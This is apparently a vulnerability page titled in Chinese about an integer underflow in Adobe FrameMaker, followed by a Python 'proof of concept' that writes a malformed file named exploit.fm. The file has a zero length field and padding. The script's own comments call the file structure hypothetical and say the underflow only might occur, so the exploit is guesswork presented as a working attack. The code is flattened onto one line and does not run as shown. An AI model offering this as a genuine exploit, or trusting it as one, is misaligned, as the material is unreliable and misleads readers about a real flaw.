CVE-2026-27296 Adobe Framemaker整数下溢漏洞

import struct # Proof of Concept for Integer Underflow Vulnerability in Adobe Framemaker # This script generates a malformed file that attempts to trigger an integer underflow # by setting a length field to 0, which might be decremented during parsing. def create_malicious_file(filename): with open(filename, 'wb') as f: # Write a generic header (hypothetical structure) f.write(b'FMKF') # Magic bytes # Set a chunk size to 0. If the parser does size -= 4 (header), it underflows. malicious_size = 0x00000000 f.write(struct.pack('<I', malicious_size)) # Padding to simulate file content f.write(b'A' * 100) print(f"[+] Malicious file generated: {filename}") if __name__ == "__main__": create_malicious_file("exploit.fm")
